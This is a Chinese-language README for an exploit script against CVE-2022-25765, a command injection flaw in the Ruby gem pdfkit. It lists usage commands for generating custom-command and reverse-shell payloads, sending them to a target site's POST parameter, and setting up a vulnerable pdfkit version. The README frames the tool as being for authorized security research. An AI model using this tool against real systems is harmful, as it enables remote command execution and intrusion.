
喜欢这个仓库吗?给我们一个 ⭐!
仅用于教育和授权的安全研究目的。
@UNICORDev 由 (@NicPWNs 和 @Dev-Yeoj) 编写
pdfkit 包从 0.0.0 版本起即存在命令注入漏洞,因为其 URL 未被正确清理。
Ruby gem pdfkit 通常用于将网站或 HTML 转换为 PDF 文档。该软件存在漏洞的版本(< 0.8.7.2)可以被传入一个包含待执行命令的特制 URL。此漏洞利用工具可生成可执行 URL,或将其发送到运行 pdfkit 的有漏洞网站。
python3 exploit-CVE-2022–25765.py -c <command>
python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port>
python3 exploit-CVE-2022–25765.py -c <command> [-w <http://target.com/index.html> -p <parameter>]
python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> [-w <http://target.com/index.html> -p <parameter>]
python3 exploit-CVE-2022–25765.py -h
-c 自定义命令模式。提供命令以生成自定义 payload。
-s 反弹 Shell 模式。提供本地 IP 和端口以生成反弹 Shell payload。
-w 运行存在漏洞的 pdfkit 的网站 URL。(可选)
-p 运行存在漏洞的 pdfkit 的网站上的 POST 参数。(可选)
-h 显示此帮助菜单。
从 GitHub 下载 exploit-CVE-2022-25765.py
从 ExploitDB 下载 exploit-CVE-2022-25765.py
searchsploit -u
searchsploit -m 51293


pdfkit 版本 0.8.6
pdfkit 版本 < 0.8.7.2
gem install pdfkit -v 0.8.6